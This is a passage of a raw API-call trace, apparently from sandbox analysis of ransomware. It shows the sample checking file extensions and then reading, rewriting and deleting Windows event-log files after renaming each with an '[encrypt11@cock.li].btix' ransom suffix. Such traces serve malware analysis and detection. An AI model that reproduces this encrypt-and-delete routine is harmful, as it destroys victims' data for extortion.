(lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx")) returned 1 [0049.831] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0049.831] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0049.831] lstrlenW (lpString=".doc") returned 4 [0049.831] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0049.831] lstrlenW (lpString=".docx") returned 5 [0049.831] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0049.831] lstrlenW (lpString=".pdf") returned 4 [0049.831] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0049.831] lstrlenW (lpString=".xls") returned 4 [0049.831] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0049.831] lstrlenW (lpString=".xlsx") returned 5 [0049.831] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0049.831] lstrlenW (lpString=".ppt") returned 4 [0049.831] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0049.831] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0049.831] lstrlenW (lpString=".zip") returned 4 [0049.831] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0049.831] lstrlenW (lpString=".rar") returned 4 [0049.831] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0049.831] lstrlenW (lpString=".bz2") returned 4 [0049.831] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0049.831] lstrlenW (lpString=".7z") returned 3 [0049.831] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0049.831] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0049.831] lstrlenW (lpString=".dbf") returned 4 [0049.832] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0049.832] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0049.832] lstrlenW (lpString=".1cd") returned 4 [0049.832] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0049.832] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0049.832] lstrlenW (lpString=".jpg") returned 4 [0049.832] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0049.832] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0049.832] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0049.832] lstrlenW (lpString=".doc") returned 4 [0049.832] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0049.832] lstrlenW (lpString=".docx") returned 5 [0049.832] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0049.832] lstrlenW (lpString=".pdf") returned 4 [0049.832] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0049.832] lstrlenW (lpString=".xls") returned 4 [0049.832] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0049.832] lstrlenW (lpString=".xlsx") returned 5 [0049.832] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0049.832] lstrlenW (lpString=".ppt") returned 4 [0049.832] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0049.832] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0049.832] lstrlenW (lpString=".zip") returned 4 [0049.832] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0049.832] lstrlenW (lpString=".rar") returned 4 [0049.832] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0049.833] lstrlenW (lpString=".bz2") returned 4 [0049.833] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0049.833] lstrlenW (lpString=".7z") returned 3 [0049.833] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0049.833] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0049.833] lstrlenW (lpString=".dbf") returned 4 [0049.833] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0049.833] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0049.833] lstrlenW (lpString=".1cd") returned 4 [0049.833] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0049.833] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0049.833] lstrlenW (lpString=".jpg") returned 4 [0049.833] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0049.833] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0049.833] lstrlenW (lpString="Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 47 [0049.833] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0049.833] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=69632) returned 1 [0049.834] CloseHandle (hObject=0x36c) returned 1 [0049.834] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx")) returned 0x20 [0049.834] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0049.834] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0049.834] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0049.834] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0049.834] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0049.834] GetLastError () returned 0x0 [0049.834] ReadFile (in: hFile=0x36c, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x11000, lpOverlapped=0x0) returned 1 [0049.910] WriteFile (in: hFile=0x308, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x11010, lpOverlapped=0x0) returned 1 [0049.912] ReadFile (in: hFile=0x36c, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0049.912] WriteFile (in: hFile=0x308, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x132, lpOverlapped=0x0) returned 1 [0049.912] SetEndOfFile (hFile=0x308) returned 1 [0049.912] CloseHandle (hObject=0x308) returned 1 [0049.913] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0049.913] SetEndOfFile (hFile=0x36c) returned 1 [0049.915] CloseHandle (hObject=0x36c) returned 1 [0049.915] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0049.915] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx")) returned 1 [0049.915] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0049.915] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0049.915] lstrlenW (lpString=".doc") returned 4 [0049.915] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0049.915] lstrlenW (lpString=".docx") returned 5 [0049.915] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0049.915] lstrlenW (lpString=".pdf") returned 4 [0049.915] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0049.915] lstrlenW (lpString=".xls") returned 4 [0049.915] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0049.915] lstrlenW (lpString=".xlsx") returned 5 [0049.915] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0049.915] lstrlenW (lpString=".ppt") returned 4 [0049.915] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0049.915] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0049.916] lstrlenW (lpString=".zip") returned 4 [0049.916] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0049.916] lstrlenW (lpString=".rar") returned 4 [0049.916] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0049.916] lstrlenW (lpString=".bz2") returned 4 [0049.916] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0049.916] lstrlenW (lpString=".7z") returned 3 [0049.916] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0049.916] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0049.916] lstrlenW (lpString=".dbf") returned 4 [0049.916] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0049.916] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0049.916] lstrlenW (lpString=".1cd") returned 4 [0049.916] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0049.916] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0049.916] lstrlenW (lpString=".jpg") returned 4 [0049.916] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0049.916] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0049.916] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0049.916] lstrlenW (lpString=".doc") returned 4 [0049.916] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0049.916] lstrlenW (lpString=".docx") returned 5 [0049.916] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0049.916] lstrlenW (lpString=".pdf") returned 4 [0049.916] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0049.916] lstrlenW (lpString=".xls") returned 4 [0049.916] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0049.916] lstrlenW (lpString=".xlsx") returned 5 [0049.916] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0049.916] lstrlenW (lpString=".ppt") returned 4 [0049.916] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0049.917] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0049.917] lstrlenW (lpString=".zip") returned 4 [0049.917] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0049.917] lstrlenW (lpString=".rar") returned 4 [0049.917] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0049.917] lstrlenW (lpString=".bz2") returned 4 [0049.917] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0049.917] lstrlenW (lpString=".7z") returned 3 [0049.917] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0049.917] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0049.917] lstrlenW (lpString=".dbf") returned 4 [0049.917] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0049.917] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0049.917] lstrlenW (lpString=".1cd") returned 4 [0049.917] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0049.917] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0049.917] lstrlenW (lpString=".jpg") returned 4 [0049.917] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0049.917] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0049.917] lstrlenW (lpString="Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 47 [0049.917] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0050.049] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=69632) returned 1 [0050.049] CloseHandle (hObject=0x364) returned 1 [0050.049] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx")) returned 0x20 [0050.049] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0050.049] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0050.049] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.049] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.049] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0050.050] GetLastError () returned 0x0 [0050.050] ReadFile (in: hFile=0x364, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x11000, lpOverlapped=0x0) returned 1 [0050.167] WriteFile (in: hFile=0x318, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x11010, lpOverlapped=0x0) returned 1 [0050.169] ReadFile (in: hFile=0x364, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0050.169] WriteFile (in: hFile=0x318, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x132, lpOverlapped=0x0) returned 1 [0050.169] SetEndOfFile (hFile=0x318) returned 1 [0050.169] CloseHandle (hObject=0x318) returned 1 [0050.171] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.172] SetEndOfFile (hFile=0x364) returned 1 [0050.173] CloseHandle (hObject=0x364) returned 1 [0050.173] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0050.173] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx")) returned 1 [0050.174] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0050.174] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0050.174] lstrlenW (lpString=".doc") returned 4 [0050.174] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0050.174] lstrlenW (lpString=".docx") returned 5 [0050.174] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0050.174] lstrlenW (lpString=".pdf") returned 4 [0050.174] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0050.174] lstrlenW (lpString=".xls") returned 4 [0050.174] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0050.174] lstrlenW (lpString=".xlsx") returned 5 [0050.174] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0050.174] lstrlenW (lpString=".ppt") returned 4 [0050.174] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0050.174] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0050.174] lstrlenW (lpString=".zip") returned 4 [0050.174] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0050.174] lstrlenW (lpString=".rar") returned 4 [0050.174] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0050.174] lstrlenW (lpString=".bz2") returned 4 [0050.174] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0050.174] lstrlenW (lpString=".7z") returned 3 [0050.174] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0050.174] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0050.174] lstrlenW (lpString=".dbf") returned 4 [0050.174] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0050.175] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0050.175] lstrlenW (lpString=".1cd") returned 4 [0050.175] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0050.175] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0050.175] lstrlenW (lpString=".jpg") returned 4 [0050.175] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0050.175] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0050.175] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0050.175] lstrlenW (lpString=".doc") returned 4 [0050.175] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0050.175] lstrlenW (lpString=".docx") returned 5 [0050.175] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0050.175] lstrlenW (lpString=".pdf") returned 4 [0050.175] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0050.175] lstrlenW (lpString=".xls") returned 4 [0050.175] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0050.175] lstrlenW (lpString=".xlsx") returned 5 [0050.175] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0050.175] lstrlenW (lpString=".ppt") returned 4 [0050.175] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0050.175] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0050.175] lstrlenW (lpString=".zip") returned 4 [0050.175] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0050.175] lstrlenW (lpString=".rar") returned 4 [0050.175] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0050.175] lstrlenW (lpString=".bz2") returned 4 [0050.175] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0050.175] lstrlenW (lpString=".7z") returned 3 [0050.176] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0050.176] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0050.176] lstrlenW (lpString=".dbf") returned 4 [0050.176] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0050.176] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0050.176] lstrlenW (lpString=".1cd") returned 4 [0050.176] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0050.176] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0050.176] lstrlenW (lpString=".jpg") returned 4 [0050.176] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0050.176] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0050.176] lstrlenW (lpString="Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 47 [0050.176] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0050.176] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=69632) returned 1 [0050.176] CloseHandle (hObject=0x364) returned 1 [0050.177] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx")) returned 0x20 [0050.177] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0050.177] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0050.177] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.177] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.177] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0050.177] GetLastError () returned 0x0 [0050.177] ReadFile (in: hFile=0x364, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x11000, lpOverlapped=0x0) returned 1 [0050.253] WriteFile (in: hFile=0x318, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x11010, lpOverlapped=0x0) returned 1 [0050.255] ReadFile (in: hFile=0x364, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0050.255] WriteFile (in: hFile=0x318, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x132, lpOverlapped=0x0) returned 1 [0050.255] SetEndOfFile (hFile=0x318) returned 1 [0050.257] CloseHandle (hObject=0x318) returned 1 [0050.258] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.258] SetEndOfFile (hFile=0x364) returned 1 [0050.259] CloseHandle (hObject=0x364) returned 1 [0050.259] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0050.260] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx")) returned 1 [0050.260] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0050.260] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0050.260] lstrlenW (lpString=".doc") returned 4 [0050.260] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0050.260] lstrlenW (lpString=".docx") returned 5 [0050.260] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0050.260] lstrlenW (lpString=".pdf") returned 4 [0050.260] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0050.260] lstrlenW (lpString=".xls") returned 4 [0050.260] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0050.260] lstrlenW (lpString=".xlsx") returned 5 [0050.260] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0050.260] lstrlenW (lpString=".ppt") returned 4 [0050.260] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0050.260] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0050.260] lstrlenW (lpString=".zip") returned 4 [0050.260] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0050.260] lstrlenW (lpString=".rar") returned 4 [0050.260] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0050.260] lstrlenW (lpString=".bz2") returned 4 [0050.260] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0050.260] lstrlenW (lpString=".7z") returned 3 [0050.260] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0050.260] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0050.260] lstrlenW (lpString=".dbf") returned 4 [0050.260] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0050.260] lstrlenW 